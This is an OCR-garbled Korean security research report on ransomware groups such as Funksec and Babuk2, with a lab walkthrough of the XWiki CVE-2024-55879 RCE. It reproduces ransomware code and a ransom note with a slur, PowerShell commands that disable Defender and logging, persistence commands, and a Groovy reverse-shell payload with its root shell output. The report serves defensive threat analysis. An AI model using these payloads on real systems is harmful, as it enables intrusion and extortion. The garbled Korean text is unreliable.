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New ransomware variant
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& )

A New ransomware & group
e Morpheus || GDLockerSec || Alproject | Babuk-Bjorka
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Welcome to Leaks site

created by Babuk ransomware
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SoIZICt Babuk2 1E0| the O|ET 7EH2 QX[ OlL|H CHE Aol JFatel Aol A=Kl

>

o X|AH=ord Aoz Hlct,

GDLockerSec g2 1 &0 £ 5 712| ISHXIE AAgt A7 OECE, O 0= Amazon 2| 2ZIRE
HEEl MH|AQI AWS 7t E ACL O|E2 AWS ZEE 9GB 9| HIO|IEHE =FMCtn FEMKX 2t
MSE CSV mUS =elst Ant foje 2A Z2HE Kaggle 0N S/E== HO|EQL LX[SH= ZO|

SHOIZHLY.

oot
m
2 w;

Alproject Ransomware.
3:21 PM

& a

> Partners Program \ Raa$ \ Partner Program

The A1Project team invites pentesters to cooperation.

The product was created for professionals and includes everything necessary for the successful implementation of access.

separate binary under the ESXI, the format of encrypted files the same for all systems.

the completion n f mployed files, work with balls and
ual machines, removal of b 5, a scan of a network with logged
vith each build.

f you have your own achievements for launching, we can provide shellcode.

DEHE HEolH =X S FHlot=s M Mo £ob =HQIMCE Alproject 22

2
rr

= - AA — 0
Windows &} Linux 832 28 ESXi &8k 2437t JHSSIHCL Alproject 82 &2 I{d2 2E,
3 Hlo|[HE 370 Clo|e |Z AO|ER} H|Z W& xE 7|sk HMBSHH, 20%2| =Tt X|=5tH
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B&2 WOIRCE O|SS XM 2A9lofol Dragon BASIOIS ALRSIT], ARX AMmEzk
AHLYOIS TS 4 Y= UM ETE HBsts RaaS T3 HZsID ATk WMol 2 2ol DDoS
DHT YAO|E WX B Bt 2WSkH CIYB I YSS ok QUL

Akira 18X X[t 11 EE &52F0|

Act. 1 o= D|=9 2 HEE 3
=
=

ol
d
N
© |0
1% 2

o= 69 719 Lm|SHAIE AHA[SHH s gsst
AAA Environmental 2 23l 7|¥9 M2 ME, =
F=3IE|Le| O|C|o] YA Diario Los Andes £

3t

o2 M, DHo| Ml HE S| MBS SHUCE =3 o
D2 Egio| I Mot AMN S2 EED LIS 2AS LHUCL

Bjorka 2t= si{7{7t 2HsHH, Babuk 0|2t F&f

OsXIE YZ™MOo=Z AARMCE ofX|PH CHEE

olo] J37H3t oo Ao, msl 7|l
=

]
7tMCE AFEet 20| efILt. OFx & JFZHo|

M
oA
oF

= Babuk2(Babuk-Bjorka) 152 SZtat &4 66 719
| D|8iXt= Funksec, RansomHub, LockBit S2| 1E0|
T =3t CHE 389 HlojlH 370 22 &S 2

— —-d

20| =HRIE|X] 84UV UiE0l, Babuk2 1FO0| tre3|

o

— — =
sEM SXHOZ H0|EHE AA$t ZiQIX| OFL|H Funksec, RansomHub, LockBit 1& S1to| &= (0|
U= ARUX| X[AHZ HRIt ALk

Xt 12 & Cleo o It HE £RM9| F|fHES A8 2 SAE o Clop 2F0| 7t IISHXE
7|1ge

— o
SIHCE O]F=2 12 Hofl S7het 66 7He| msh 7|1 & & 55 | GIO|EE CI3E |E AMOIEO
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FunkBID

b 89 19| LBXIE AlAIStR, XIS7HA|
5d 1&80ll= = HM=H< Clo[EE

N
Y
=2
rl:l

Funksec 82 24 & 12 ® AE 1ot 0/Se 1
129 19| TBHRIS AAISHD Sl B&S HOIFED Ik E3

2
BefeXo| MEE AE YEE o=

o
bt L
N
=2
rr
o
@)
(@)
wn
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I
|.|'|
1
rr
0
rhu

o) YR YOt E3 Y

7, 7S HE/ZE =M MEA 22 #F HH0| 7kst hVNC IS CH3E |E AOIE0
%1

-
=
20T SxE GitHub 0N 222 2R35t1

&5 Funksec T AUCTIONS & Stories 73 VP B Messange % Support English # SignUp  Logln
*

Welcome to Funkforum

Please adhere to the following guidelines: No pornography. No chit-chat. No discussions
involving children. No disrespectful behavior. Maintain professionalism. Stick to relevant
topics. Avoid personal or sensitive questions. Focus on providing value. Refrain from

unnecessary repetition. Be concise and clear. s

want to become VIP

iUl Today's Birthdays

¥ FunkBID

W

Html Editor
Polls
Bad
e ¥ ransom

L S

Blog
the ri vithout talk to much for all

Users stories

12! 7. Funksec CI2g =3

EQST insight | 18



I3 RZF AMO|EE YUHIO|ESHH Funkforum O|2ts CHAY EHS JHMsH XtAE0| 2As7| AIZFMCY.
T2 FHLE 710 Jtssl 22 =MSIALE FR0| JHsSSICE OFEIMIX| EZol= Funksec 2ZXI2|
AAZ0| CHEEO0|H, FSociety J&2te| &3 AAO|L} Funksec 2.0 EA| A4 & Funksec AH|AQ|

2 YH0|E &S Swot UCt

Upcoming Auctions

get ready for this one

Punjab inmobiliariamaspormenos.co § fiberskynet.net
m

HIGHEST BID TOTAL BIDS START TIME HIGHEST BID TOTAL BIDS START TIME

- $0 80 © 7d19h 52m 21s R e Aot TR ~ $0 &0 © 8d 5h52m 2Is

- %0 8o ® 2d 19h 52m 2Is
Bid Now Bid Now

Bid Now

12! 8. FunkBID Z0j

1 ¥, Funksec 1E2 XSO0| EFet CIO[EE Oz TO{st= AtO|EQ! FunkBID £ JHECL.
1 27| Ct2E RF AOIEO| AAIS CIO[E= 7|1& Atz 2F 7|2H0| X[LIH C|0|E{E TR SIHSI
AX[ZE FunkBID 714 O|=0ff Y=EzFl Ho[E= 2% FOHZ THHE(D ATt OFEIIKI= EF(eh HIOE 2t
20 ZTIASO0[AHLE Zoi OFO[X|ZE FunkBID OlM= o, ofd =7, ®Z Hgh CIo[EH[0|A,
AAFEZ F 5 M2 FUE =7/t A7 W20 Te EF Clo|E{ER otL2t of Ciefet C|o|E{7t

S7HE 7tsdol ULt

FUNKSEC 2.0

will be become after one month , RaaS panel in devloping will come after 3 months , have chat and servers to upload files and remote control
“shell” , will have courses to how attack with ransomware and advanced methods to crack and exploit CVEs and phishing teqniques etc, the price
will be 5k dollars in month , funksec 2.0 anti detection x5 better then the 1.5, it will be advnaced in encrypt without stop or sleep , he will be

advanced to scan network and exploit ports auto , wallpaper will change to other style , ransom note will be have lot details and exploit And

deceive the mind Psychologically , the ransomware will be available for who pay the full amount and just for premium hackers , if you researcher
just forget to analyst it , becouse first one you can’'t and he will be hide avaiggble just for who pay , thanks for read

2! 9. Funksec 2.0 2X|
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1

0|52 Lot HHANE MH|A HEZ HSSH= RaaS £ MISY ol™oICh 1 & %, ARISS| CH3Y RF
=

AO|EE S3llM RaaS O|EAIE Z2ESH/| AR, ZES SoliM Raas 2 ZId Atets SRt UL
RaaS OlA AH|A O|EXt7t AH0] HolLt THRIE 22| & U= 22| E2 OfF HY T2,
4 ol W 2tz ofIF0[0, RaaS Ol ALE3HA| 2 YOI Funksec 2.0 2 2 E 0|0 7HE0| 2=
ool SrRdct. fEoh Mdo] AN MEY £ U= FAH AE YHolLt oY mY Zl=of chet
WSE & 5000 a2(etet oF 730 ¢H)of| ®MSE o Fol2tn SHRICE

fn encrypt data(data: &[u8]) -> Vec<u8> {
let mut rng = OsRng;
let bits = 20438;
let private key = RsaPrivateKey::new (&mut rng, bits).expect("Failed to generate a key"):
let public_key = RsaPublicKey::from(&private key);

let aes_key = [0u8; 32]; // 256-bit key
let cipher = Aes256::new(&aes_key.into());

let mut buffer = data.to_vec();
cipher.encrypt (&mut buffer);

let encrypted_data = public_key.encrypt (&mut rng, PaddingScheme::new_pkcslvl5_encrypt(), &buffer).expect("Failed to encrypt"):;
encrypted_data

a2l 10. 27l ransomware.rs 2ATFC AH

0

1 2 X0|= Funksec 50| At2st= HMAOQ! FunkLocker v1.5 o 5 ME0| Z7HHCE XtAIS9|

Ctag RZF AIO|EO| uiAl m=z 20| 0|EQ! Avast Premium Q2 MES ZJiMCH, 1 oz JHg
CHA 2 HO0|= Rust 7|dto] iﬁiE(ransomware.rs) S0| Z7HE[7|= Lt CHtRE= Funksec 182
Il cigsk?| I8 370%! FunkLocker v1. 2MSH LHEE 3RStLXt BiCt,
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Funksec Ransomware

o3t 7|

yost Y

AL E

2 $H3H
)‘J—M({ funksec

At O
)M,{ Rust

. ChaCha20-Poly1305 ~

‘ﬁ Encrypted

File
RtiGenRandom ‘
Argon2 Hashed [laNarv] ChaCha20
Value Key

Y M3 F=st

o "
My 2rost || el ZAHE ALY || Lhst Mo} PP

ChaCha20-Poly1305 Windows
aod oras =14 Defenclier H?ggi}

[ Argon2 ¥ HChacha20 ¢12|&C 2 7|2 M5l ChaCha20-Poly130522 I &3}

| README-2NLRRYECON.md - Windows 0 27
Ter HEE MHO0) =27V SSHH)

[# ® FUNKLOCKER DETECTED &
&+ **Congratulations** %+ Your organization, device has been successfully infiltrated by funksec ransomware!

[F# @ **Stop**

- Do NOT attempt to tamper with files or systems.

- Do NOT contact law enforcement or seek third-party intervention.
- Do NOT attempt to trace funksec's activities.

B# 2 “*What happened**

- Nothing, just you lost your data te ransomware and can't restore it without a decryptor.
- We stole all your data.

- No anti-virus will restore it; this is an advanced ransomware.

[## %@ **Ransom Details**
- Decryptor file fee: **0.1 BTC**
- Bitcoin wallet address: "belgrghntéegdsxtOgmlcagOweavgbpmim82vtxfeq’
- Payment instructions:
1. Buy 0.1 bitcoin.
2. Install session fram: https;//getsession.org/

3. Contact us with this ID to receive the decryptor: 0538d726ae3cc264¢1bd8eb6cbcbfa3b6a3dfc589567944170001 ebfdbeadefbld

README-[a-zA-Z0-9]{10}.md

12! 11. Funksec 49l0] 72
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Funksec 2iM$lo] =k

Execution

3 B2 01 D921 Al
Persistence PowerShell 2428 7 9 H2 A3l

2 AHE2 SES S KUY A AS HY E
PowerShell ScriptS S8 Mt 45

OIE 27 H|gHdst
Windows Defender H|&+45}

DEHA Y HulA S5 Bl

WinsockS 283 Lj% YIEY 3 Hnt
SO SANE Aty
Go|E] Y5}

MHUlA g m2gA 28

121 12. Funksec HAgjo] 2

I
gl
3

Funksec #H%0i= M 2o}, MY FALE AR, OMIE 23 AW S O HES AL A5
IEHM 22|XE Aets HRE oitf, MYl M Al ZetS =Qlst = PowerShell SHOE 0|83
SRl dEEel HHEANE 2R AR MUAMStD, HA AT HHAN= BRI MEdSh=E

PowerShell @80{= Of2et ZLCt.

PowerShell Start-Process -FilePath "{file_path}" -Verb RunAs -ArgumentList "{argv}"

E 1. #9I0f AY Bof

x| CHAM 2HAO| 7hAF SHAQIX| H|3BICE Windows OIA ZZAMA S22
EO|A 71AF SHAD HEE DTZMAZ SOISICE
EFX|SIC2tE “VM detected, aborting.” BF @3 TE2OEQ| E3HE &

Al 2
o 2O L UG S=t 22 24 ol Aels ALK AT

WE roooJek Tk
I
fot
00
ot
L=
ot
o
0
i)
|>

vmware, vboxservice, gemu, hyperv

E 2. 7hd 83 =9l iy
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ot SIERGE EZMA B MH|A 253 0|80, tiy 2E0M Z2MA MH|AS

SOIEl Z2M|IA 3 MH|A SE2 of2f Het ZTt

dH=Z S=AZICH

TE2AMIA AH|2

system32.exe, chrome.exe, firefox.exe,
explorer.exe, outlook.exe, spotify.exe, vic.exe,
Skype.exe, Teams.exe Discord.exe Java.exe

Excel.exe, Powerpnt.exe, cmd.exe,

photoshopt.exe, itunes.exe

Python.exe, Node.exe, Javaw.exe, Winword.exe,

PowerShell.exe, notepad++.exe, gimp-2.10.exe,

WinDefend, wuauseryv, bits, Spooler, DockApp,
MpsSvc, XblGameSave, DiagTrack, SysMain,
Ifsvc, seclogon, wscsvc, trkwks,
RemoteRegistry, netprofm, Netsh,
twinapi.appcore, TimeBrokerSvc, RasMan, sshd,
LanmanWorkstatio, CryptSvc, EventLog

H 3. 38 iy T2MA U MHA

ITZ= M2 8 MH|A
HERZ Y
Cieh HIESRIZ0 g &S Alket

Aled AR W8 Fo Vtsd2 ol S LR

Z2 3, #if A0l LIS L

O, Windows O|A| XM3dt= HEH3 8
tCt,

HEYAZ Hmeict Mo} ciate st=ays
olgsl Pze A,

I AZ1 APl Winsock 2
El HL|7) O SHEA 0|0 A

HES?Z g9l H

| AFESH= IP 4= Of2f H2E 2T

192.168.1.2~21 4444

E 4. 4%

wk AELAOIS FHR AsfZEof

of2Het Zrt.

Al #glozr A

o} o4&

o
un
4>
g0
H-|
Ju
rot
in]

schtasks /create /tn funksec /tr "{path}" /sc onstart

H 5. 0 Ad|E2 SE H™o
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Mo oM M7} EFX|Z|AHLE 7|2E[X] QA
Windows Defender 2| ZIA| & O[MIE 21 7|5

DOE ATZEE 23t 2E PowerShell HH0]

HEof A4
powershell -Command Set-MpPreference -DisableRealtimeMonitoring Windows Defender
$true AAIZE HE H g%t
. . ‘ HOt OMIE 21
powershell -Command wevtutil sl Security /e:false e
S8 D=0 OHE 23
powershell -Command wevtutil sl Application /e:false e
Hlgt-dst
powershell -Command Set-ExecutionPolicy Bypass -Scope Process - PowerShell A&l X4
Force HE
H 6.PowerShell H&#0]
22t¢l O|0|X| 37 AHRLIE[O| AP0 H=E%H O|0|X|E CH2EE 2, HiERIHE WA 2 E 7|&Ee=
ofiE O|O|X| CH2ZE«= O Ol =7hs3dHH, O|0|X|7t C2ZEE &[X| oM BXo| o2 235 =5
HHEfSIH HAR HUHEICL

hello nigger

your files all encrypted by funklocker
follow readme to decrypt

12l 13. Funksec #HM9)|0] HIEFSHH
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20z StEZYE HYLEE X YA Hd F= X0 Mt HP-Es Oi3LHR2* HEHO|H

~ README-2NLRRyFCON.md - Windows 0 2%
IFgF H8E ANO) 220V EsZH)

# & FUNKLOCKER DETECTED &
%+ **Congratulations** % Your organization, device has been successfully infiltrated by funksec ransomware!

@ **Stop*™

- Do NOT attempt to tamper with files or systems.

- Do NOT contact law enforcement or seek third-party intervention.
- Do NOT attempt to trace funksec's activities.

## 8 **What happened**

- Nothing, just you lost your data to ransomware and can't restore it without a decryptor.
- We stole all your data.

- No anti-virus will restore it; this is an advanced ransomware.

## & **Ransom Details**
- Decryptor file fee: **0.1 BTC**
- Bitcoin wallet address: 'bc1grghnt6eqdsxtOgmlcagOwcavgbpmfm82vtxfeq”
- Payment instructions:
1. Buy 0.1 bitcoin.
2. Install session from: https://getsession.org/
3. Contact us with this ID to receive the decryptor: 0538d726ae3cc264c1bdB8eb6cbcbfa366a3dfc589567944170001e6fdbeadefb3d

## &2 **How to buy bitcoin**
- Go to [Coinbase](https://www.coinbase.com/) or any similar website like [Blockchain](https://www.blockchain.com/), use your credit

## 8 **Who we are**
- We are an advanced group selling government access, breaching databases, and destroying websites and devices.

#4# 3 **Websites to visit**

- funkiydk7c6j3vvck5zk2giml2u746faSirwalw2kjem6tvofji7rwid.onion

- funkngnd4slwmgwgnewneébintbooauwkaupikdyrligtycew3ergraid.onion
- funkxxkovrk7ctnggbjnthdajavdggex53kém2x3esjwlixrkb3giztid.onion

&3 *Start dancing, 'cause the funk's got you now!* i3

Sincerely,

Funksec cybercrime

12! 14. Funksec #HMLE

rr

2101

4 0r3CR (Markdown): E+EXILE EfOE 0|83 MAl0| = BME ZMY £
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oM BE ol ELtn B F|, A E2I0|ERE Z EE2l0|ENK| BE 2els] HEE EE0|HE Yz
ojd olE THoiCt SIEITE fost CHY =X it EM B2 7|EC=2 £F ECe 1 oo
A= DT ADSIE TIMSICE Lot tiy 2Rt SCE2 Ofa TeF ZT.

txt, csv, docx, xIsx, pdf, json, xml, sq|l, log, html, css, js, php, py, java, ¢, cpp, sh, bat, ini, yaml, md, rtf, ts,
jsx, tsx, pptx, odt, ods, odpm, msg, eml, apk, ipa, exe, dll, dmg, iso, vmdk, vhd, tgz, 7z, zip, tar, rar, bak,
db, mdb, sqlite, hdf5, parquet, avro, log, etl, pfx, cer, pem, csr, key, pgp, kdbx, gpg, tar.gz, xz, dbf, bak, tiff,
raw, ai, psd, indd, eps, svg, dwg, dxf, fla, flv, mov, mp4, avi, mkv, mp3, wav, flac, aac, ogg, wma, webm,
m3u, cue, midi, ps, tex, bib, chm, epub, azw3, fb2, djvu, opf, xps, jar, war, ear, pdb, msi, deb, rpm, apk,
vcs, git, svn, nfs, cue, bin, bkp, Ist, dat, csv, json, png

H 7. 20} Cfd 2Rt

Program Files, Program Files (x86), Windows, AppData,
ProgramData, Users

E 8. =3 iy EME

o A== ChaCha20-Poly1305 Z1Z|ES A
RSA ¢iZ|ECzE 7|E HEZSt= Rust 2AIE ot -cT'>-7H%'17[|‘:'P

, oY AATFCE Aot Bt
EXfot=s TN B =22 HAE WS AATEZ FFYEICL YO0 MIE HIRHS 2 medotrt
MEHASHA| MMEl 24Bytes =2 ASTI0| AT ChaCha20-Poly1305 7|2 MAsict 7| MAol=
SiAl Z12|EQ! Argon2 9 HChaCha20 212|ES AM8SIH, 22| moict et 7|15 Mos o

HHIE 0*2*}5._*& fzol= ¥E OOIHE 128 Bytes HHPIZ Ao, EHSH 32Bytes 37|29
HIOIHE =7t2 ddd f=stEl HOIEeE oM MEeltt. AtMgh e=st abg2 okl aglat Ztt.

|:|l'LI

Password

(24Bytes) Argon2 HchaChaz2o
g S e aCha ChafellaZU

I
i Random Key (24Bytes)
i Dummy Data (32Bytes)
I
I
I
I

Y ot
ChaCha20-Poly1305
Dummy Data (32Bytes)
HE oY U5l oY

12! 15, Funksec &3} HiAl
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Funksec 2HM<%l|0] ci2ulot

Execution

ASR 713 Z45HE S8 oY B9 z‘f%

2|
Anti-Virus 2835t0] 2|4 A2 oY ZHa|

Persistence

T1059

Lyt ALt Y AFEE £ A HF L Privilege Escalati
Applocker = WDAC 283 2ol A7|&2] 4¥ A3t | |4 Ll SIS
Defense Evasion ASR 713 8H43HE B8 o4 Wl A
A AER| HY ﬂ a0 2 28 ’
EDR &84 8ot Wl Atk (e Discovery
Lateral Movement EDR &2.418 S o4 ¥9l Atet
SAE WEHE S B BN Y Impact
=
EIEJE] | ASR M E4siE S8t oty we) o
Higis  ClolE By

16. Funksec 2HA9j|of cHS4tot

Funksec #eol= 24d Ao 7|2 LHE BHO|LL PowerShell BHOE FE ALETICE 0|E SdHA
ot 4&52 AEot7L, HHEUE FHY AAZ2o| Z2[xt HPCE SFICH ASR® A2l EM3E
SoHA O2{gh HIFAMEQ T2NAE XILHH obd HRAE A 4 QUCH ot &Y A E2 FR 2
HotE HSHsHFHLE AppLocker®2t WDAC’E &8dl & AAE27t XI™E = 2o M¥E= AS
Kok =~ QUCt

St PowerShell HEHO{E AF23|A Windows Defender O A7 HS 7|58 H|ZM3$E k1 Windows

CC

OMIE 27 7|5 ot HIEHSIE AliCt O2{3t Z2, OHIE 25 Zsto| A= ALBAE 2P £
UEE AHO| BFsl| FHLE O[HIE 25 HA KMFA0 Bz M EES £ ALK 3 20| EDR®
EENE Sl SHRIL A%tz EF E2MAE XIHl ofd AeIE 22 & UL

HEOE LHE WEIo| HmSH| 2/sHA Windows 2| HESRIZ 2t API 21 Winsock £ %%3H LHE
HEXZ tigol HutE Aottt StEIGE HESRID Aozt 4444 ZES SoiM HESR
M/ HIE Ash| W20 SAE YolHE S 5 ZEE Xt =Rt SiE Ao =

ACE.

5 ASR (Attack Surface Reduction): 2K} AlRSt= EX DZAM|AS} Al JHs3t TRNAZ KIChis BS 7|5

rr

6 AppLocker: Windows 2IAH0|lM £ T2 Al £ A= F2LE AFBA S X, T + A= T2IMS A0 At =

e 2ot J7l&

7 WDAC(Windows Defender Application Control): AF2X}7} Alsist 4 Ql= m2aZHo|Lt FEE HSHt=E MAs|, MHEE[X| gt

IZ2OWO|Lt ASEE SO| HAS UGtz 2ot 7|&

8 EDR (Endpoint Detection and Response): ZAFEIQt ZHIY, A S THUT[0f|A WSt oM HRE HAIZICE ZX[stn 24 3l ti33sto

IsH S o 2N
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l—" Indicator Of Compromise q

Funksec (SHA-256)

7e223a685d5324491bcacf3127869f9f3ec5d5100c5e7cb5af45a227e6ab4603
c233aec7917cf34294c19dd60ff79abe0fac5ed6f0cb57af98013c08201a7alc
89b9f7499d59d0d308f5ad02cd6fddd55b368190c37f6c5413c4cfcd343eeff3
5226ea8e0f516565ba825a1bbed10020982c16414750237068b602c5b4acbabd
504984fe49af411cd50fdfedb8ff114ed206c4b82a68fe21e7a215cbb53a91c2

File Name

ransomware.rs
dev.exe
setup-avast-premium-x64.exe

setup-x64.exe

EQST insight | 29
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- BleepingComputer 34 ZH|0|X| (https://www.bleepingcomputer.com/news/security/babuk-locker-is-
the-first-new-enterprise-ransomware-of-2021)

« The Hacker News (https://thehackernews.com/2025/01/experts-find-shared-codebase-linking.html)

- SecurityWeek (https://www.securityweek.com/compromised-aws-keys-abused-in-codefinger-
ransomware-attacks/)

- Halcyon Research (https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-
s3-buckets-with-sse-c)

- KELA E23 (https://www.kelacyber.com/blog/is-gdlockersec-really-targeting-aws/)
. BHot mA (https://www.boannews.com/media/view.asp?idx=135368&direct=mobile)

« Group IB 223 (https://www.group-ib.com/blog/cat-s-out-of-the-bag-lynx-ransomware/)
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Research & Technique

XWiki RCE #|2}F(CVE-2024-55879)

HAME

XWiki £ Java 2 Ll 2@ QEAACL B AIBAIS0| ¥ HOXIS ek 22 22 ByY & Wi
tn Jls2 HESH o 2HS £ 97| AZEYO|CE OSINT ZA ATIS Edf QIEUl Aol ZIHE
XWiki € X3 2 Z1}, 2025 3 02 & 06 Y 7|Z0Z 0|2-E5U-FRS H|REH U2 27to| o 4 ot 7Y
AO|EOM XWiki £ AF2 =01 ZE olst & 9lrt

ZX: fofa.info

4

2 1. XWiki AHE 7|

2024 A 12 8 12 Yolls Xwiki 2 H¥H & 2
Horde XWiki of ZHl 71502 S HHE F7ksn, Hot S40| HO|ZES oD AnEozM
XWiki AMB{OIA otolmol ZEE Asst 4 97| WRof ACh AR AIZE Ty H0| AU
AR Sol MSX HEE 2Fots EE0 S N0 oy TSS Fel, MMt 0/ S¢f 2 A

Zo| 2Jo| P S So AH EF|It 7HSSICt
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AlLI2|

@ Xwiki A AE 23

©

@
>
Ak

XWikiAH2 X}

XWIKI

@ Zlokst M st

SHA

o

@ CVE-2024-55879 @ A{H{0] 231 X127 Mjtl »

© M4 AfelO= ormotH Mz

32l 2.CVE-2024-55879 22 AlLI2|R
@ SAX=E XWiki AtEXF AES 23
@ 34X= 27| EHZ2Z F|oot XWIkiE AR B¢l AMH B
® 3Z4Xh= CVE-2024-55879 F|AHES 0|83l A&l AFZE &Y
@ 3AXx= AdoMel ATZE MAS S MH U L=t M=7 I A
® 3AXx= MHof HX|E L=t 272 M XS 0|83 L=zt M=

CVE-2024-55879 0] F|2fct ATEQ 0| HF2 C

SIW 72 #lof BH

XWiki-platform

>=2.3,<1510.9
>=16.0.0-rc-1, < 16.3.0

W HAE 37 74 BE

HIAE 2FS 7%

—

3l CVE-2024-55879 °| S% 1t¥s Hm=Ct.

0|E He
iRt XWiki-platform v15.10.5
(172.19.0.4)
22X} Kali Linux
(172.19.0.3)
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B 3o HIAE

Step 1. A 1M
O|siXt PC off F et TS| XWiki O|0|X|E MX[StCt. CVE-2024-55879 #F|2fd HIAE FMZ2 2ot
docker-compose.yml GAl= CtS1t ZLt.

services:

xwiki:
image: XWiki:15.10.5
container_name: xwiki
ports:
- "8080:8080"
environment:
- DB_USER=xwiki
- DB_PASSWORD=xwiki
- DB_DATABASE=xwiki
- DB_HOST=db
depends_on:
-db
networks:
- cve-2024-55879

db:
image: mariadb:10.6
container_name: xwiki-db
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=xwiki
- MYSQL_USER=xwiki
- MYSQL_PASSWORD=xwiki
networks:
- cve-2024-55879
ports:
-"3306:3306"
volumes:
xwiki-data:
db-data:

networks:
cve-2024-55879:
driver: bridge

=M=l docker-compose.ym| IHUS ASHSHT,

> docker-compose up -d

Ol Fefst THF|X[Q! org.xwiki.platform_xwiki-platform-administration-ui_15.10.5.xar £ A&X|3IC},
«URL: https://extensions.xwiki.org/xwiki/rest/repository/extensions/org.xwiki.platform%3Axwiki-
platform-administration-ui/versions/15.10.5/file?rid=maven-xwiki
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CH2E2 9l Ti7|XIE Ml > Administartion H2& [ Upload a new package £ &doi Y=ZE3HCt.

admin admin
& Log-out
Warning: The administration application is not installed. Since XWiki Enierprise 1.5, the Administration is distributed as an application. You ¢
http://extensions xwiki.org/xwiki/bin/view/Extension/Administration+Application

Home

Import

Administration

Upload a new package

| e(maEa)ememuzs |

Available packages

No package is available for import

XWiki 15.10.5

a3 3. Fofet mi7|Ix] x|

OIX|2e = Z|HARE 22t busybox & XWiki Al LHS0f| MX|oHCt,

> docker exec -it xwiki sh -c "apt update && apt install -y busybox"

Step 2. #|2H HAE
Atk AR HEE £F617| flo ZE|Xt7t ofl Ut ALK AES MAMStot

XWIKI

5% 1 XWiki / Global Administration

admin admin
L t
& Log-out

Home

Global Administration: Users

Manage users of this wiki: add, remove, modify their profile information.

Administer Wiki

Search for. Results 1- 1 outof 1 per page of (15 +
== Look & Feel User Fi Last Name
- Content
admin admin

Users & Rights

Results 1 - 1 out of 1

Create user
h .

Groups

Rights

(M|
nu

| 4. MEXt ¥
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Script Ht0| Q= AFRXIDE Qlo| HEH MG

— O

Z=Itetet.

& ooz, p2|xt AHo| Script & Egth Hote

XWIKI

£ ! XWiki / Global Administration

Global Administration: Rights

Manage groups and users rights: control who can view, edit and delete pages.

Search for... Results 1-2 out of 2

= Look & Feel () Groups (g Users

admin admin
& Log-out !

Home

& Administer Wiki

Comment Edit Script Delete

Unregistered Us:

=| Content g L] Ll Ll [l ]

rch filter:

| & Users & Rights

Users

admin admin (admin) J J J J J
Groups

L | | | L

Extension Rights J Prevent unregistered users from viewing pages, regardless of the page rights

J Prevent unregistered users from editing pages, regardless of the page rights

Registration

|| Require unregistered users to solve a CAPTCHA when posting a comment on a |

N
o=

a3 5. AZx A 9t

http://localhost:8080/bin/edit/xwiki/ <A

ALBXOIA| AME =7t 4= UL

St A

—_

2 X} >?editor=object

oz Fas uf iy

XWIKI

£y / XWiki / EQST

Editing objects of EQST
o New object:

XWiki #
| Objects of § '

= XWikiRig Custom configurable sections

O New XWikiRights object

12l 6. ConfigurableClass ZiA| 37}
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%

I
N
il
=

gy

1o £-80i ofzHe| ZfE MEelLt.

&4 o = %
display in seciton other
display in category other
#set($codeToExecute = 'Test') #set($codeToExecuteResult = '{{async}}{{groovy}} def
heading command = "busybox nc 172.19.0.4 8888 -e /bin/bash"; def proc = command.execute();

proc.waitFor() {{/groovy}H{{/async}}')

9l 44 2t & heading 20| 4 Ho|ZEZ SiCH

0|= http://localhost:8080/bin/view/xwiki/< Aot A2 XIH>?sheet=XWiki.AdminSheet&viewer=con
tent&section=other £ ™& A| 24El H0|2=7F MAEICH

XWIK]

& / XWiki { Administration

Administration SEd @ Creale

Last modified by admin admin on 2025/02/06 09:21

& / XWiki / Administration

Administration: Other

Various configurations for exiensions.

Search for.
sz Look & Feel
& Users & Rights

& Other

32 7. 9% Hol2E MY

ZAX MHe| 8888 ZEE Edlf XWiki AHO| €S ES¢iCt.

nc -1 -p 8888
id

uid=0(root) gid=0(root) groups=0(root)

uname -a

Linux 46e940ec1491 5.15.167.4-microsoft-standard-wSL2 #1 SMP Tue Nov 5 00:21:55 UT
C 2024 x86 64 x86 64 x86 64 GNU/Linux

a3 8. 3% Y ES
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R ROTRCR

Fo™ MM 2M0ME= CVE-2024-55879 F|bdo| Hist= Rlz(et o] HE A FotH
AHOZ MHSICL Step 1 MIM= XWiki 2 Administrator Application 7|52t C|0JE M%& ot
=x

T

HolH Step 20M= ==& CIO[EHE o8l ol HE A FoFHo| Adst= HFS dm=Ct

mo mio

Step 1. Administrator Application

1) XWiki ConfigurableClass

XWiki Enterprise 1.5 £E XWiki QIAHAE 2|SH= Adminstration Application 2 EEE MX[SHO}
SiCt SiiE 7152 MX|IE 2IoiA Ofzf A39| xar MYUS CHRELE B2 |, XWiki HO|X| LHOIA Import
ot

«URL: https://extensions.xwiki.org/XWiki/rest/repository/extensions/org.xwiki.platform% 3 Axwiki-

platform-administration-ui/versions/<XWiki_version>/file?rid=maven-xwiki

< C  © localhost:8080/bin/import/XWiki/XWikiPreferences a o} IS ®
I
.x_Wl Kl EQST tester o
& Log-out .

Warning: The administration application is not installed. Since XWiki Enterprise 1.5, the Administratic

can download it from http://fextensions. xwiki.org/xwiki/bin/view/Extension/Administration+Application.
Home

Import

Administration

Upload a new package

Available packages

No package is available for import

XWiki 15.10.5

Jgl 9. Administration Application I Import
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-

XWiki 2| Administration Application Extension 2| 7|S0ll= ConfigurableClass 7|s0| UC s
Jle2 g AT #M5k= il H™E 717l SHAE TS0 2F ANo| CHet M2 Hojgd £+ ULk

2l ™2 /bin/edit/XWiki/EQSTTester?editor=object ZAZ0| FZet T, HX™0A Custom
Configurable sections £ F7IsHA] Aalg 4= QUC},

€« C  © |localhost:8080/bin/edit/XWiki/EQSTTester?editor=object | a % X ®

XWIKI

£ / XWiki / Profile of EQST tester

[

o Edit ~ @ Create v

Editing objects of ProfiIeJ'of EQST tester

o New objecr:| Custom configurable sections v |

= Objects of type XWiki.ConfigurableClass (1)
= ConfigurableClass 0: other R

10. ConfigurableClass &%

ST A S FIRIRIN HOIE 4 U= FR &4 S offet 2k,

b

displaylnSection OfE2|AH0|ME MMst=r| AtET a2 MMg XX
heading configurableClass ZiX|Q| ®M=EC=2 MAEY gt
codeToExecute Al 0|20l EAISHD 42 Velocity AJEE

displayinCategory ofZz/Alo|Mg HFst=0 A8Y 22| FHEH12|E X

| HH 22 db ol MEEH, 0]= XWikiobjects E[0|20]| MZ=l ConfigurableClass & Z3|siA| =0l

o

7+s3tct.
MariaDB [xwiki]=[ SELECT * FROM xwikiobjects WHERE XWO_CLASSNAME = 'WWiki.ConfigurableClass ; |
R Femmmemmmon e . BT e T B et +
| XWO_ID | XWO_NUMBER | XWO_NAME | XWO_CLASSNAME | XWO_GUID |
R et R B T T Fommmmmmm e B et +
| -6115720284412556138 | 0 | XWiki.AdminImportSheet | XWiki.ConfigurableClass | c5cba27a-cSbd-410d-acdd-7307b8a123875 |
